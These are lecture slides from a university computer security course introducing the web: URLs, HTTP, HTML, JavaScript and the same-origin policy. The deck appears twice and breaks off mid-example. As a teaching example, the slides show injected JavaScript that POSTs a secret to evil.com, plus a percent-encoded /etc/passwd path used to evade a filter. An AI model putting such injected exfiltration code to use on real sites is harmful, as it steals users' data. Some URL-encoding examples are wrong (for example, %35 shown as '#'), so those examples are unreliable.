Introduction to the Web

CS 161 Fall 2025 - Lecture 13

Midterm Logistics

• Midterm this Thursday from 7PM — 9PM
• Working on releasing room assignments, should be out soon!
• Midterm accommodations form (on Ed) was due last Friday, if you need any non-DSP accommodations and haven’t filled this out please do so ASAP (no guarantees at this point)
• General logistics: 2 double-sided handwritten cheat sheets
• Review sessions throughout this week
• Details on Ed

2

Today: Introduction to Web

• What’s the web
• URLs
• HTTP
• Parts of a Webpage
• HTML
• CSS
• JavaScript
• Security on the Web
• Same-Origin Policy

3

A Brief History of the Web

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

A Brief History of the Web

• The web was not designed with security from the start.
• Historical design decisions help us understand where modern security vulnerabilities originated.

5

Memex

• Microfilm
• Printing documents in extremely small text and reading it with a special viewer that magnified the text
• The most compact storage available before computers
• A single microfiche card (100mm x 148mm film) can hold 100 pages of text!
• 1945: We need a conceptual way to organize data
• A reference library has a lot of information, but how do you reliably find a piece of data?
• Idea: Memex
• Developed by Vannevar Bush, head of primary military R&D (research and development) office during World War II

6

Memex

• Memex: A large, integrated disk for storing and accessing microfilm
• Idea: Trails
• Trail: A unique identifier for a single piece of data
• Following a trail: Using a trail to find the piece of data that it identifies
• You can create your own custom “personal trails”
• Modern web: URLs and hyperlinks.
• Idea: Uploading data
• Create your own data and use a photographic hood to add it to the Memex collection
• Others can access data you uploaded
• Modern web: You can create websites that everyone else can access
• Legacy of Memex
• A physical Memex was never built, but ideas influenced web design
• Memex was only designed for accessing data, not code!

7

Web 1.0

• Web 1.0: The first era of websites (~ 1991-2004)
• Websites only contained static content
• Documents with text, images, etc.
• No interactivity
• 1996: Sun Microsystems releases Java
• Java: A programming language designed to compile to an intermediate representation and run on a lot of systems
• Sun Microsystems built a web browser that can fetch and execute Java code
• Problem: Java was too powerful
• Java was designed to do everything that a locally running program could do
• Gave accessing a website the same security vulnerabilities associated with downloading and running code from others!

8

Web 1.0, Attempt 2

• Netscape Navigator (an old browser) wanted to add active content to web pages
• Plan A: Integrate Sun’s Java into their Browser
• Plan B: Integrate a new scripting language into their browser
• Plan B → JavaScript
• Nothing in common with Java except the name and general syntax
• JavaScript is now widespread
• Many server projects use JavaScript (Node.js)
• Many “programs” are just built-in web browsers running JavaScript (Electron)
• Ex: Discord, Slack, Notion, VSCode, GitHub Desktop, etc.
• Warning: JavaScript has serious pitfalls!
• Type system is awful, no real integers, etc…
• Takeaway: JavaScript is a very important language in the real world.
• If you have to use it, consider using the “good parts” or TypeScript (a typed variant) or a web framework.

9

JavaScript: The Good Parts

10

What’s the Web?

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

What’s the Web?

• World Wide Web (“Web”): A collection of data and services
• Data and services are provided by web servers
• Data and services are accessed using web browsers (e.g. Chrome, Firefox)
• The web is not the internet
• The Internet describes how data is transported between servers and browsers
• We will study the internet later in the networking unit.

12

Browser

Browser

Browser

Server

Server

The Internet

Today: Elements of the Web

• URLs: Uniquely identify a piece of data on the web
• HTTP: The standard for how web browsers communicate with web servers
• Data on a web page can contain
• HTML: A markup language for creating web pages
• CSS: A style sheet language for defining the appearance of web pages
• JavaScript: A programming language for running code in the web browser

13

URLs

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

Today: Elements of the Web

• URLs: Uniquely identify a piece of data on the web
• HTTP: The standard for how browsers communicate with web servers
• Data on a web page can contain
• HTML: A markup language for creating web pages
• CSS: A style sheet language for defining the appearance of web pages
• JavaScript: A programming language for running code in the web browser

15

URLs

• URL (Uniform Resource Locator): A string that uniquely identifies one piece of data on the web
• A type of URI (Uniform Resource Identifier)
• Divided into parts
• Scheme/Protocol
• Domain
• Location (Username / Port)
• Path
• Query
• Fragment / Anchor

16

Parts of a URL: Scheme / Protocol

• Located just before the double slashes
• Defines how to retrieve the data over the Internet (which protocol to use)
• Typically, http (unencrypted) or https (secure, encrypted)

17

https://toon.cs161.org/xorcist/avian.html

Parts of a URL: Domain

• Located after the double slashes and before the next single slash
• Defines which web server to contact
• Recall: The web has many web servers. The domain specifies which one we’re looking for.
• Written as several phrases separated by dots

18

https://toon.cs161.org/xorcist/avian.html

Parts of a URL: Location

• The domain with some additional information
• Username: evanbot@cs161.org
• Identifies a specific user on the web server
• Rarely seen
• Port: toon.cs161.org:4000
• Identifies one specific application on the web server
• If we don’t include one, the default is usually based on the protocol
• Example: http defaults to port 80
• Example: https defaults to port 443
• We will revisit ports in the networking unit
• Domain is required, but additional information (username/port) is optional.

19

https://toon.cs161.org/xorcist/avian.html

Parts of a URL: Path

• Located after the first single slash
• Defines which file on the web server to fetch
• Think of the web server as having its own filesystem
• The path represents a file on the web sever’s filesystem
• Examples:
• https://toon.cs161.org/xorcist/avian.html
• Look in the xorcist folder for avian.html
• https://toon.cs161.org/
• Return the root directory

20

https://toon.cs161.org/xorcist/avian.html

Parts of a URL: Query

• Providing a query is optional
• Located after a question mark
• Supplies arguments to the web server for processing
• Think of the web server as offering a function at a given path
• To access this function, a user makes a request to the path, with some arguments in the query
• The web server runs the function with the user’s arguments and returns the result to the user
• Arguments are supplied as name=value pairs
• Arguments are separated by ampersands (&)

21

https://toon.cs161.org/draw?character=evan&size=big

Parts of a URL: Fragment / Anchor

• Providing a fragment is optional
• Located after a hash sign (#)
• Not sent to the web server! Only used by the web browser
• Common usage: Tells the web browser to scroll to a part of a webpage
• Usage: Supplies content to code in the web browser (JavaScript) without sending the content to the server

22

https://toon.cs161.org/cryptoverse/characters#mallory

URL Escaping

• URLs contain printable, human-readable characters (ASCII)
• What if we want to include non-printable characters in the URL?
• Recall: URLs have special characters (?, #, /)
• What if we want to use a special character in the URL?
• Solution: URL encoding
• Notation: Percent sign (%) followed by the hexadecimal value of the character
• Example: %20 = ' ' (spacebar)
• Example: %35 = '#' (hash sign)
• Example: %50 = '2' (printable characters can also be encoded!)
• Security issues: Makes scanning for malicious URLs harder
• Suppose you want to block all requests to the path /etc/passwd
• What if an attacker makes a request to %2F%65%74%63%2F%70%61%73%73%77%64
• Known as obfuscation, which we’ll talk about more later.

23

A Simplified View of the Web

24

Browser

A Simplified View of the Web — File Query

25

Browser

The browser can request a file from the server with a URL:�https://evanbot.com/pictures/evanbot.jpg

A Simplified View of the Web — Compute Query

26

Browser

The browser can request some computation from the server:�https://evanbot.com/draw?bot=evan&size=large

HTTP

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

Today: Elements of the Web

• URLs: Uniquely identify a piece of data on the web
• HTTP: The standard for how browsers communicate with web servers
• Data on a web page can contain
• HTML: A markup language for creating web pages
• CSS: A style sheet language for defining the appearance of web pages
• JavaScript: A programming language for running code in the web browser

28

HTTP

• HTTP (Hypertext Transfer Protocol): A protocol used to request and retrieve data from a web server
• HTTPS: A secure version of HTTP
• Uses cryptography to secure data
• We’ll see HTTPS later in the networking unit
• HTTP is a request-response model
• The web browser sends a request to the web server
• The web server processes the request and sends a response to the web browser

29

Parts of an HTTP Request

• URL path (possibly with query parameters)
• Method
• GET: Requests that don’t change server-side state (“get” information from the server)
• POST: Request that update server-side state (“post” information to the server)
• Data
• GET requests do not contain any data
• POST requests can contain data

30

Parts of an HTTP Response

• Status code: A number indicating what happened with the request
• Example: 200 OK
• Example: 403 Access forbidden
• Example: 404 Page not found
• Data
• Can be a webpage, image, audio, PDF, executable, etc.

31

Status Code 418

32

Status Code 418

33

POST / HTTP/1.1

Content-Length: 52

​

{

“data”: “ABC123”�}

34

Parts of a Webpage

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

Today: Elements of the Web

• URLs: Uniquely identify a piece of data on the web
• HTTP: The standard for how browsers communicate with web servers
• Data on a web page can contain
• HTML: A markup language for creating web pages
• CSS: A style sheet language for defining the appearance of web pages
• JavaScript: A programming language for running code in the web browser

36

HTML

• HTML (Hypertext Markup Language): A markup language to create structured documents
• Defines elements on a webpage with tags
• Tags are defined with angle brackets < >
• Each tag has a name and optional properties inside the brackets.
• Some tags stand alone
• Example: <br> for a line break
• Most tags are opened and closed with content in between
• Example: <b> tag creates bold text: <b>Bla Blah blah</b> → Bla Blah blah
• Tags can be nested to accomplish an effect.
• Example: <b> <i> Bla Blah blah </i> </b> → Bla Blah blah

​

<name property=value>content</name>

37

Features of HTML: Links

<a href="https://toon.cs161.org">� Check out these comics!�</a>

38

HTML

Features of HTML: Forms

<form action="/feedback" method="POST">� <label for="name">Name:</label>� <input type="text" id="name">� <br>� <label for="bot">Favorite bot:</label><br>� <input type="radio" id="evan">� <label for="html">EvanBot</label><br>� <input type="radio" id="coda">� <label for="css">CodaBot</label><br>� <br>� <input type="submit" value="Submit">�</form>

39

HTML

The HTML between the <form> tags creates the form fields for the user to fill in.

Features of HTML: Embed Images

<p>Look at my new desktop background!</p>�<img�src="https://toon.cs161.org/assets/desktop.png">

40

HTML

Webpage

The browser will make a GET request to https://toon.cs161.org/assets/desktop.png and display the returned image on the page.

Features of HTML: Embed Websites

<iframe� src="https://toon.cs161.org"� height="500"� width="1000"�></iframe>�<p>CS 161 toon website above.</p>

41

HTML

Webpage

CS 161 toon website above.

The outer frame embeds the inner frame (sometimes called an iframe or frame)

The browser will make a GET request to https://toon.cs161.org/ and display the returned page in a 500 × 1000 pixel box.

CSS

• CSS (Cascading Style Sheets): A style sheet language for defining the appearance of webpages
• You don’t need to know the specifics of CSS

42

JavaScript

• JavaScript: A programming language for running code in the web browser
• JavaScript is client-side
• Code sent by the server as part of the response
• Runs in the browser, not the web server!
• Used to manipulate web pages (HTML and CSS)
• Makes modern websites interactive
• JavaScript can be directly embedded in HTML with <script> tags
• Most modern webpages involve JavaScript
• JavaScript is supported by all modern web browsers
• You don’t need to know JavaScript syntax
• However, knowing common attack functions helps

43

JavaScript Fact Sheet

• High-level
• Dynamically-typed
• Interpreted
• Supports objects
• Fast
• JavaScript is used in almost every web application, so a lot of work goes into making it execute quickly
• Just-in-time compiling (compile code at runtime immediately before executing it) helps speed up execution

44

Vulnerabilities in the JavaScript interpreter/compiler

• The web browser runs JavaScript from external websites
• Malicious websites can send JavaScript to the browser!
• Browsers are sandboxed to prevent any malicious code from doing too much damage
• A vulnerability in the browser’s JavaScript interpreter/compiler is very dangerous
• Just-in-time compilers need memory that’s both writable and executable (write the machine code and then execute it)
• If the interpreter is vulnerable, an attacker can exploit memory safety bugs
• Example: “Use-after-free” on a JavaScript object → an arbitrary read/write primitive
• An attacker can now force the JavaScript program to inspect memory
• Breaks ASLR: Examine memory to leak memory addresses
• Breaks non-executable pages: Use memory that’s both writable and executable
• Takeaway: JavaScript is memory-safe and sandboxed, but a vulnerable interpreter/compiler can result in memory safety exploits!

45

Features of JavaScript: Modify Content

• Modify any part of the webpage (e.g. HTML or CSS)

46

document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");

JavaScript changed the link! Now clicking it opens https://cs161.org/phishing

Features of JavaScript: Pop Ups

<script>� alert("Happy Birthday")�</script>

47

HTML (with embedded JavaScript)

When the browser loads this HTML, it will run the embedded JavaScript and cause a pop-up to appear.

Features of JavaScript: HTTP Requests

<script>var secret = 42;</script>�...�<script>� fetch('https://evil.com/recieve', { method: 'POST', body: secret })�</script>

48

HTML (with embedded JavaScript)

Suppose the server returns some HTML with a secret JavaScript variable.

If the attacker somehow adds this JavaScript, the browser will send a POST request to the attacker’s server with the secret.

Rendering a Webpage

• Process of displaying (rendering) a webpage in a web browser:
• The browser receives HTML, CSS, and JavaScript from the server
• HTML and CSS are parsed into a DOM (Document Object Model)
• JavaScript is interpreted and executed, possibly modifying the DOM
• The painter uses the DOM to draw the webpage
• DOM (Document Object Model): Cross-platform model for representing and interacting with objects in HTML
• A tree of nodes
• Each node has a tag, attributes, and child nodes

​

49

document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");

Security on the Web

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

Risks on the Web

• Risk #1: Web servers should be protected from unauthorized access
• Example: An attacker should not be able to hack into google.com and provide malicious search results to users
• Protection: Server-side security
• Example: Protect the server computer from buffer overflow attacks

51

Risks on the Web

• Risk #2: A malicious website should not be able to damage our computer
• Example: Visiting evil.com should not infect our computer with malware
• Example: If we visit evil.com, the attacker who owns evil.com should not be able to read/write files on our computer
• Protection: Sandboxing
• JavaScript is not allowed to access files on our computer
• Privilege separation, least privilege
• Browsers are carefully written to avoid vulnerabilities (e.g., write the browser in a memory-safe language)

52

Risks on the Web

• Risk #3: A malicious website should not be able to tamper with our interactions with other websites
• Example: If we visit evil.com, the attacker who owns evil.com should not be able to read our emails in Gmail or buy things with our Amazon account
• Protection: Same-origin policy
• The web browser prevents a website from accessing other unrelated websites

53

Same-Origin Policy

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

Same-Origin Policy: Definition

• Same-origin policy: A rule that prevents one website from tampering with other unrelated websites
• Enforced by the web browser
• Prevents a malicious website from tampering with behavior on other websites

55

Same-Origin Policy

• Every webpage has an origin defined by its URL with three parts:
• Protocol: The protocol in the URL
• Domain: The domain in the URL’s location
• Port: The port in the URL’s location
• If no port is specified, the default is 80 for HTTP and 443 for HTTPS

56

https://toon.cs161.org:443/assets/lock.PNG

http://cs161.org/assets/images/404.png

80 (default port)

Same-Origin Policy

• Two webpages have the same origin if and only if the protocol, domain, and port of the URL all match exactly
• Think string matching: The protocol, domain, and port strings must be equal

57

Same-Origin Policy

• Webpages from different origins cannot interact with each other
• Example: If cs161.org embeds google.com, the inner frame cannot interact with the outer frame, and the outer frame cannot interact with the inner frame
• Exception: JavaScript runs with the origin of the page that loads it
• Example: If cs161.org fetches JavaScript from google.com, the JavaScript has the origin of cs161.org
• Intuition: cs161.org has “copy-pasted” JavaScript onto its webpage
• Exception: webpages can fetch and display images from other origins
• However, Javascript in the webpage only knows about the image’s size and dimensions (cannot actually manipulate the image)
• Exception: Websites can agree to allow some limited sharing
• Cross-origin resource sharing (CORS)
• The postMessage function in JavaScript

58

Summary

• A Brief History of the Web
• What’s the Web?
• URLs
• HTTP
• Parts of a Webpage
• Security on the Web
• Same-Origin Policy
• Summary

URLs: Summary

• URL: A string that uniquely identifies one piece of data on the web
• Parts of a URL:
• Protocol: Defines which Internet protocol to use to retrieve the data (e.g. HTTP or HTTPS)
• Location: Defines which web server to contact
• Can optionally contain a username or port
• Path: Defines which file on the web server to fetch
• Query (optional): Sends arguments in name-value pairs to the web server
• Fragment (optional): Not sent to the web server, but used by the browser for processing
• Special characters should be URL escaped

60

HTTP: Summary

• HTTP: A protocol used to request and retrieve data from a web server
• HTTPS: A secure version of HTTP
• HTTP is a request-response protocol
• HTTP request
• Method (GET or POST)
• URL path and query parameters
• Protocol
• Data (only for POST requests)
• HTTP response
• Protocol
• Status code: A number indicating what happened with the request
• Headers: Metadata about the response
• Data

61

Parts of a Webpage: Summary

• HTML: A markup language to create structured documents
• Create a link
• Create a form
• Embed an image
• Embed another webpage (iframe or frame)
• CSS: A style sheet language for defining the appearance of webpages
• As powerful as JavaScript if used maliciously!
• JavaScript: A programming language for running code in the web browser
• JavaScript code runs in the web browser
• Modify any part of the webpage (e.g. HTML or CSS)
• Create pop-up messages
• Make HTTP requests

62

Same-Origin Policy: Summary

• Rule enforced by the browser: Two websites with different origins cannot interact with each other
• Two webpages have the same origin if and only if the protocol, domain, and port of the URL all match exactly (string matching)
• Exceptions
• JavaScript runs with the origin of the page that loads it
• Webpages can fetch and display images from other origins
• Websites can agree to allow some limited sharing

63

Introduction to the Web

CS 161 Fall 2025 - Lecture 13

Computer Science 161

Today: Introduction to Web

• What’s the web?
• URLs
• HTTP
• Parts of a Webpage
• HTML
• CSS
• JavaScript
• Security on the Web
• Same-Origin Policy

65

Computer Science 161

A Brief History of the Web

66

Computer Science 161

A Brief History of the Web

• The web was not designed with security from the start
• Historical design decisions can help us understand where modern security vulnerabilities originated

67

Computer Science 161

Memex

• Microfilm
• Microfilm: Printing documents in extremely small text and reading it with a special viewer that magnified the text
• The most compact storage available before computers
• A single microfiche card (a 100mm x 148mm piece of film) can hold 100 pages of text!
• 1945: We need a conceptual way to organize data
• A reference library has a lot of information, but how do you reliably find a piece of data?
• Idea: Memex
• Developed by Vannevar Bush, head of the primary military R&D (research & development) office during World War II

68

Computer Science 161

Memex

• Memex: A large, integrated desk for storing and accessing microfilm
• Idea: Trails
• Each piece of data is referred to with a unique identifier, called a “trail”
• Following a trail: given a trail, you can find the corresponding piece of data
• You can create your own custom “personal trails”
• Modern web: implemented as URLs and hyperlinks
• Idea: Uploading data
• Create your own data and use a photographic hood to add it to the Memex collection
• Others can access data you uploaded
• Modern web: You can create websites that everyone else can access
• Legacy of Memex
• A physical Memex was never built, but its ideas influenced web design
• Memex was only designed for accessing data, not code!

69

Computer Science 161

Web 1.0

• Web 1.0: The first era of websites (roughly 1991-2004)
• Websites only contained static content
• Documents with texts, images, etc.
• No interactive features
• 1996: Sun Microsystems releases Java
• Java: A programming language designed to compile to an intermediate representation and run on a lot of systems
• Sun Microsystems built a web browser that can fetch and execute Java code
• Problem: Java was too powerful
• Java was designed to do everything a locally running program could do
• Security vulnerabilities associated with downloading and running code from others

70

Computer Science 161

Web 1.0, Attempt 2

• Netscape Navigator (an old browser) wanted to add active content to web pages
• Plan A: Integrate Sun’s Java in their browser
• Plan B: Integrate a new scripting language into their browser
• Plan B became JavaScript
• Nothing in common with Java except the name and general syntax structure
• JavaScript is now widespread…
• Many server projects are now in JavaScript (Node.js)
• Many standalone “programs” are really just built-in web browsers running JavaScript (Electron)
• Warning: Language has some serious pitfalls!
• Type system is awful, no real integers, etc.…
• Takeaway: JavaScript is a very important language in the real world. If you have to use it, consider using the "good parts" or TypeScript (a typed variant) or a web framework.

71

Computer Science 161

Javascript, the good parts

72

Computer Science 161

What’s the Web?

73

Computer Science 161

What’s the Web?

• Web (World Wide Web): A collection of data and services
• Data and services are provided by web servers
• Data and services are accessed using web browsers (e.g. Chrome, Firefox)
• The web is not the Internet
• The Internet describes how data is transported between servers and browsers
• We will study the Internet later in the networking unit

74

Browser

Browser

Browser

Server

Server

The Internet

Computer Science 161

Today: Elements of the Web

• URLs: uniquely identify a piece of data on the web
• HTTP: the standard for how web browsers communicate with web servers
• Data on a webpage can contain:
• HTML: A markup language for creating webpages
• CSS: A style sheet language for defining the appearance of webpages
• JavaScript: A programming language for running code in the web browser

75

Computer Science 161

URLs

76

Computer Science 161

Today: Elements of the Web

• URLs: uniquely identify a piece of data on the web
• HTTP: the standard for how web browsers communicate with web servers
• Data on a webpage can contain:
• HTML: A markup language for creating webpages
• CSS: A style sheet language for defining the appearance of webpages
• JavaScript: A programming language for running code in the web browser

77

Computer Science 161

URLs

• URL (Uniform Resource Locator): A string that uniquely identifies one piece of data on the web
• A type of URI (Uniform Resource Identifier)

78

Computer Science 161

Parts of a URL: Scheme

• Located just before the double slashes
• Defines how to retrieve the data over the Internet (which Internet protocol to use)
• Typically http (unencrypted) or https (secure, encrypted)

​

79

https://toon.cs161.org/xorcist/avian.html

Computer Science 161

Parts of a URL: Domain

• Located after the double slashes, but before the next single slash
• Defines which web server to contact
• Recall: The web has many web servers. The location specifies which one we're looking for.
• Written as several phrases separated by dots

80

https://toon.cs161.org/xorcist/avian.html

Computer Science 161

Parts of a URL: Location

• Location: The domain with some additional information
• Username: evanbot@cs161.org
• Identifies one specific user on the web server
• Rarely seen
• Port: toon.cs161.org:4000
• Identifies one specific application on the web server
• We will see ports again in the networking unit

81

https://toon.cs161.org:4000/xorcist/avian.html

Computer Science 161

Parts of a URL: Path

• Located after the first single slash
• Defines which file on the web server to fetch
• Think of the web server as having its own filesystem
• The path represents a file path on the web server's filesystem
• Examples
• https://toon.cs161.org/xorcist/avian.html: Look in the xorcist folder for avian.html
• https://toon.cs161.org/: Return the root directory

82

https://toon.cs161.org/xorcist/avian.html

Computer Science 161

Parts of a URL: Query

• Providing a query is optional
• Located after a question mark
• Supplies arguments to the web server for processing
• Think of the web server as offering a function at a given path
• To access this function, a user makes a request to the path, with some arguments in the query
• The web server runs the function with the user's arguments and returns the result to the user
• Arguments are supplied as name=value pairs
• Arguments are separated with ampersands (&)

83

https://toon.cs161.org/draw?character=evan&size=big

Computer Science 161

Parts of a URL: Fragment

• Providing a fragment is optional
• Located after a hash sign (#)
• Not sent to the web server! Only used by the web browser
• Common usage: Tells the web browser to scroll to a part of a webpage
• Usage: Supplies content to code in the web browser (JavaScript) without sending the content to the server

84

https://toon.cs161.org/cryptoverse/characters#mallory

Computer Science 161

URL Escaping

• URLs are designed to contain printable, human-readable characters (ASCII)
• What if we want to include non-printable characters in the URL?
• Recall: URLs have special characters (?, #, /)
• What if we want to use a special character in the URL?
• Solution: URL encoding
• Notation: Percent sign (%) followed by the hexadecimal value of the character
• Example: %20 = ' ' (spacebar)
• Example: %35 = '#' (hash sign)
• Example: %50 = '2' (printable characters can be encoded too!)
• Security issues: makes scanning for malicious URLs harder
• Suppose you want to block all requests to the path /etc/passwd
• What if an attacker makes a request to %2F%65%74%63%2F%70%61%73%73%77%64?
• Obfuscation. We’ll study this issue more later

85

Computer Science 161

A Simplified View of the Web

86

Browser

Computer Science 161

A Simplified View of the Web

87

Browser

/

├── /pictures

├── evanbot.jpg

└── codabot.jpg

├── /secrets

├── passwords.txt

└── evanbot.py

├── /draw?bot=__&size=__

└── /search?q=__

Server: www.evanbot.com

func draw(bot, size)

func search(q)

Filesystem

Backend

The browser can request a file from the server with a URL.

https://evanbot.com/pictures/evanbot.jpg

Computer Science 161

A Simplified View of the Web

88

Browser

/

├── /pictures

├── evanbot.jpg

└── codabot.jpg

├── /secrets

├── passwords.txt

└── evanbot.py

├── /draw?bot=__&size=__

└── /search?q=__

Server: www.evanbot.com

func draw(bot, size)

func search(q)

Filesystem

Backend

The browser can also request some computation from the server.

https://evanbot.com/draw?bot=evan&size=large

Computer Science 161

HTTP

89

Computer Science 161

Today: Elements of the Web

• URLs: uniquely identify a piece of data on the web
• HTTP: the standard for how web browsers communicate with web servers
• Data on a webpage can contain:
• HTML: A markup language for creating webpages
• CSS: A style sheet language for defining the appearance of webpages
• JavaScript: A programming language for running code in the web browser

90

Computer Science 161

HTTP

• HTTP (Hypertext Transfer Protocol): A protocol used to request and retrieve data from a web server
• HTTPS: A secure version of HTTP
• Uses cryptography to secure data
• We’ll see HTTPS later in the networking unit
• HTTP is a request-response model
• The web browser sends a request to the web server
• The web server processes the request and sends a response to the web browser

91

Computer Science 161

Parts of an HTTP Request

• URL path (possibly with query parameters)
• Method
• GET: Requests that don’t change server-side state (“get” information from the server)
• POST: Request that update server-side state (“post” information to the server)
• Data
• GET requests do not contain any data
• POST requests can contain data

92

Computer Science 161

Parts of an HTTP Response

• Status code: A number indicating what happened with the request
• Example: 200 OK
• Example: 403 Access forbidden
• Example: 404 Page not found
• Data
• Can be a webpage, image, audio, PDF, executable, etc.

93

Computer Science 161

Parts of a Webpage

94

Computer Science 161

Today: Elements of the Web

• URLs: uniquely identify a piece of data on the web
• HTTP: the standard for how web browsers communicate with web servers
• Data on a webpage can contain:
• HTML: A markup language for creating webpages
• CSS: A style sheet language for defining the appearance of webpages
• JavaScript: A programming language for running code in the web browser

95

Computer Science 161

HTML

• HTML (Hypertext Markup Language): A markup language to create structured documents
• Defines elements on a webpage with tags
• Tags are defined with angle brackets <>
• Example: <img> tag creates images
• Example: <b> tag creates bold text: <b> blah </b> → blah

96

Computer Science 161

Features of HTML: Create a Link

97

<a href="https://toon.cs161.org">Check out these comics!</a>

HTML

Check out these comics!

Webpage

Clicking on this text will take you to https://toon.cs161.org

Computer Science 161

Features of HTML: Create a Form

98

<form action="/feedback" method="POST">

<label for="name">Name:</label>

<input type="text" id="name">

<br>

<label for="bot">Favorite bot:</label><br>

<input type="radio" id="evan">

<label for="html">EvanBot</label><br>

<input type="radio" id="coda">

<label for="css">CodaBot</label><br>

<br>

<input type="submit" value="Submit">

</form>

HTML

Name:

​

Favorite bot:

EvanBot

CodaBot

​

​

Webpage

Submit

Clicking on the submit button will make a POST request to http://toon.cs161.org/feedback with the contents of the form

The HTML inside the <form> tags creates the form fields for the user to fill in.

Computer Science 161

Features of HTML: Embed an Image

99

<p>Look at my new desktop background!</p>

<img src="https://toon.cs161.org/assets/desktop.png">

HTML

Look at my new desktop background!

​

​

Webpage

The browser will make a GET request to https://toon.cs161.org/assets/desktop.png

and display the returned image on the page.

Computer Science 161

Features of HTML: Embed Another Webpage

100

CS 161 toon website above.

The outer frame embeds the inner frame (sometimes called an iframe or frame).

<iframe src="https://toon.cs161.org" height="200" width="300"></iframe>

<p>CS 161 toon website above.</p>

HTML

Webpage

The browser will make a GET request to https://toon.cs161.org/ and display the returned webpage in a�200 pixel × 300 pixel box.

Computer Science 161

CSS

• CSS (Cascading Style Sheets): A style sheet language for defining the appearance of webpages
• You don’t need to know the specifics of CSS

101

Computer Science 161

JavaScript

• JavaScript: A programming language for running code in the web browser
• JavaScript is client-side
• Code sent by the server as part of the response
• Runs in the browser, not the web server!
• Used to manipulate web pages (HTML and CSS)
• Makes modern websites interactive
• JavaScript can be directly embedded in HTML with <script> tags
• Most modern webpages involve JavaScript
• JavaScript is supported by all modern web browsers
• You don’t need to know JavaScript syntax
• However, knowing common attack functions helps

102

Computer Science 161

JavaScript Fact Sheet

• High-level
• Dynamically-typed
• Interpreted
• Supports objects
• Fast
• JavaScript is used in almost every web application, so a lot of work goes into making it execute quickly
• Just-in-time compiling (compile code at runtime immediately before executing it) helps speed up execution

103

Computer Science 161

Vulnerabilities in the JavaScript interpreter/compiler

• The web browser runs JavaScript from external websites
• Malicious websites can send JavaScript to the browser!
• Browsers are sandboxed to prevent any malicious code from doing too much damage
• A vulnerability in the browser’s JavaScript interpreter/compiler is very dangerous
• Just-in-time compilers need memory that’s both writable and executable (write the machine code and then execute it)
• If the interpreter is vulnerable, an attacker can exploit memory safety bugs
• Example: “Use-after-free” on a JavaScript object results in an arbitrary read/write primitive
• An attacker can now force the JavaScript program to inspect memory
• Breaks ASLR: Examine memory to leak memory addresses
• Breaks non-executable pages: Use memory that’s both writable and executable
• Takeaway: JavaScript is memory-safe and sandboxed, but a vulnerable interpreter/compiler can result in memory safety exploits!

104

Computer Science 161

Features of JavaScript

• Modify any part of the webpage (e.g. HTML or CSS)

105

Toon

Webpage

<a id="link" href="https://toon.cs161.org">Toon</a>

HTML (before JavaScript executes)

Toon

Webpage

<a id="link" href="https://cs161.org/phishing">Toon</a>

HTML (after JavaScript executes)

document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");

JavaScript changed the link! Now clicking it opens https://cs161.org/phishing.

Computer Science 161

Features of JavaScript

• Create a pop-up message

106

<script>alert("Happy Birthday!")</script>

HTML (with embedded JavaScript)

Webpage

Happy Birthday!

`

​

OK

When the browser loads this HTML, it will run the embedded JavaScript and cause a pop-up to appear.

Computer Science 161

Features of JavaScript

• Make HTTP requests

107

<script>int secret = 42;</script>

​

...

​

<script>fetch('https://evil.com/receive',{method:'POST', body: secret})</script>

HTML (with embedded JavaScript)

If the attacker somehow adds this JavaScript, the browser will send a POST request to the attacker’s server with the secret.

Suppose the server returns some HTML with a secret JavaScript variable.

Computer Science 161

Rendering a Webpage

• Process of displaying (rendering) a webpage in a web browser:
• The browser receives HTML, CSS, and JavaScript from the server
• HTML and CSS are parsed into a DOM (Document Object Model)
• JavaScript is interpreted and executed, possibly modifying the DOM
• The painter uses the DOM to draw the webpage
• DOM (Document Object Model): Cross-platform model for representing and interacting with objects in HTML
• A tree of nodes
• Each node has a tag, attributes, and child nodes

108

Computer Science 161

Security on the Web

109

Computer Science 161

Risks on the Web

• Risk #1: Web servers should be protected from unauthorized access
• Example: An attacker should not be able to hack into google.com and provide malicious search results to users
• Protection: Server-side security
• Example: Protect the server computer from buffer overflow attacks

110

Computer Science 161

Risks on the Web

• Risk #2: A malicious website should not be able to damage our computer
• Example: Visiting evil.com should not infect our computer with malware
• Example: If we visit evil.com, the attacker who owns evil.com should not be able to read/write files on our computer
• Protection: Sandboxing
• JavaScript is not allowed to access files on our computer
• Privilege separation, least privilege
• Browsers are carefully written to avoid vulnerabilities (e.g., write the browser in a memory-safe language)

111

Computer Science 161

Risks on the Web

• Risk #3: A malicious website should not be able to tamper with our interactions with other websites
• Example: If we visit evil.com, the attacker who owns evil.com should not be able to read our emails in Gmail or buy things with our Amazon account
• Protection: Same-origin policy
• The web browser prevents a website from accessing other unrelated websites

112

Computer Science 161

Same-Origin Policy

113

Computer Science 161

Same-Origin Policy: Definition

• Same-origin policy: A rule that prevents one website from tampering with other unrelated websites
• Enforced by the web browser
• Prevents a malicious website from tampering with behavior on other websites

114

Computer Science 161

Same-Origin Policy

• Every webpage has an origin defined by its URL with three parts:
• Protocol: The protocol in the URL
• Domain: The domain in the URL’s location
• Port: The port in the URL’s location
• If no port is specified, the default is 80 for HTTP and 443 for HTTPS

115

https://toon.cs161.org:443/assets/lock.PNG

http://cs161.org/assets/images/404.png

80 (default port)

Computer Science 161

Same-Origin Policy

• Two webpages have the same origin if and only if the protocol, domain, and port of the URL all match exactly
• Think string matching: The protocol, domain, and port strings must be equal

116

http://toon.cs161.org

https://toon.cs161.org

No. Protocol mismatch�http ≠ https

http://toon.cs161.org

http://cs161.org

No. Domain mismatch�toon.cs161.org ≠ cs161.org

http://toon.cs161.org

http://toon.cs161.org:8000

